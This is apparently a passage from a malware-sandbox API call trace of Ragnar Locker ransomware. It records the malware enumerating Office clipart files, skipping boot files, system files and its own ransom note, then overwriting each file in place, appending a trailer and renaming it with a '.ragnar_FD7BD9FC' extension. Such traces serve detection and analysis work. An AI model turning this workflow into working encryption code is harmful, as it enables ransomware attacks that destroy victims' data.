lstrcmpiW (lpString1="J0107746.WMF", lpString2="bootfont.bin") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="bootsect.bak") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="bootmgr") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="bootmgr.efi") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="bootmgfw.efi") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="desktop.ini") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="iconcache.db") returned 1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="ntldr") returned -1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="ntuser.dat") returned -1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="ntuser.dat.log") returned -1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="ntuser.ini") returned -1 [0084.482] lstrcmpiW (lpString1="J0107746.WMF", lpString2="thumbs.db") returned -1 [0084.482] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.482] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.483] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.483] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.483] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.483] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.483] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 0x20 [0084.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.483] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4788) returned 1 [0084.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.483] GetProcessHeap () returned 0x580000 [0084.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.483] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.485] VirtualAlloc (lpAddress=0x0, dwSize=0x12b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.485] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12b4, lpOverlapped=0x0) returned 1 [0084.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.486] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.486] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12b4, lpOverlapped=0x0) returned 1 [0084.486] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.486] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.486] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.486] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.486] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.486] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.487] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.487] GetProcessHeap () returned 0x580000 [0084.487] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.487] CloseHandle (hObject=0xf4) returned 1 [0084.487] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" [0084.487] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.ragnar_FD7BD9FC" [0084.487] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.487] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0084.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.487] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107748.WMF" | out: lpString1="J0107748.WMF") returned="J0107748.WMF" [0084.487] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned=".WMF" [0084.487] lstrcmpiW (lpString1="J0107748.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.487] lstrcmpiW (lpString1="J0107748.WMF", lpString2="autorun.inf") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="boot.ini") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="bootfont.bin") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="bootsect.bak") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="bootmgr") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="bootmgr.efi") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="bootmgfw.efi") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="desktop.ini") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="iconcache.db") returned 1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="ntldr") returned -1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="ntuser.dat") returned -1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="ntuser.dat.log") returned -1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="ntuser.ini") returned -1 [0084.488] lstrcmpiW (lpString1="J0107748.WMF", lpString2="thumbs.db") returned -1 [0084.488] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.488] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.488] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.488] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.488] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.488] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.488] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 0x20 [0084.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.489] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8224) returned 1 [0084.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2017, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.489] GetProcessHeap () returned 0x580000 [0084.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.489] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.490] VirtualAlloc (lpAddress=0x0, dwSize=0x2020, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.491] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2020, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2020, lpOverlapped=0x0) returned 1 [0084.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.492] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2020, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.492] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2020, lpOverlapped=0x0) returned 1 [0084.492] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2020, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.492] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.492] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.492] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.492] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.492] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.493] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.493] GetProcessHeap () returned 0x580000 [0084.493] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.493] CloseHandle (hObject=0xf4) returned 1 [0084.493] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" [0084.493] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.ragnar_FD7BD9FC" [0084.493] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0084.493] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.493] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107750.WMF" | out: lpString1="J0107750.WMF") returned="J0107750.WMF" [0084.493] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned=".WMF" [0084.493] lstrcmpiW (lpString1="J0107750.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="autorun.inf") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="boot.ini") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="bootfont.bin") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="bootsect.bak") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="bootmgr") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="bootmgr.efi") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="bootmgfw.efi") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="desktop.ini") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="iconcache.db") returned 1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="ntldr") returned -1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="ntuser.dat") returned -1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="ntuser.dat.log") returned -1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="ntuser.ini") returned -1 [0084.494] lstrcmpiW (lpString1="J0107750.WMF", lpString2="thumbs.db") returned -1 [0084.494] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.494] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.494] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.494] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.494] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.494] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.494] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 0x20 [0084.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.495] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4716) returned 1 [0084.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.495] GetProcessHeap () returned 0x580000 [0084.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.495] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.496] VirtualAlloc (lpAddress=0x0, dwSize=0x126c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.497] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x126c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x126c, lpOverlapped=0x0) returned 1 [0084.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.500] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x126c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.500] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x126c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x126c, lpOverlapped=0x0) returned 1 [0084.500] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x126c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.501] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.501] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x126c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.501] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.501] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.501] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.501] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.501] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.501] GetProcessHeap () returned 0x580000 [0084.501] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.501] CloseHandle (hObject=0xf4) returned 1 [0084.501] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" [0084.501] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.ragnar_FD7BD9FC" [0084.501] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.502] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0084.502] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.502] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0136865.WMF" | out: lpString1="J0136865.WMF") returned="J0136865.WMF" [0084.502] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned=".WMF" [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="autorun.inf") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="boot.ini") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="bootfont.bin") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="bootsect.bak") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="bootmgr") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="bootmgr.efi") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="bootmgfw.efi") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="desktop.ini") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="iconcache.db") returned 1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="ntldr") returned -1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="ntuser.dat") returned -1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="ntuser.dat.log") returned -1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="ntuser.ini") returned -1 [0084.502] lstrcmpiW (lpString1="J0136865.WMF", lpString2="thumbs.db") returned -1 [0084.502] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.502] 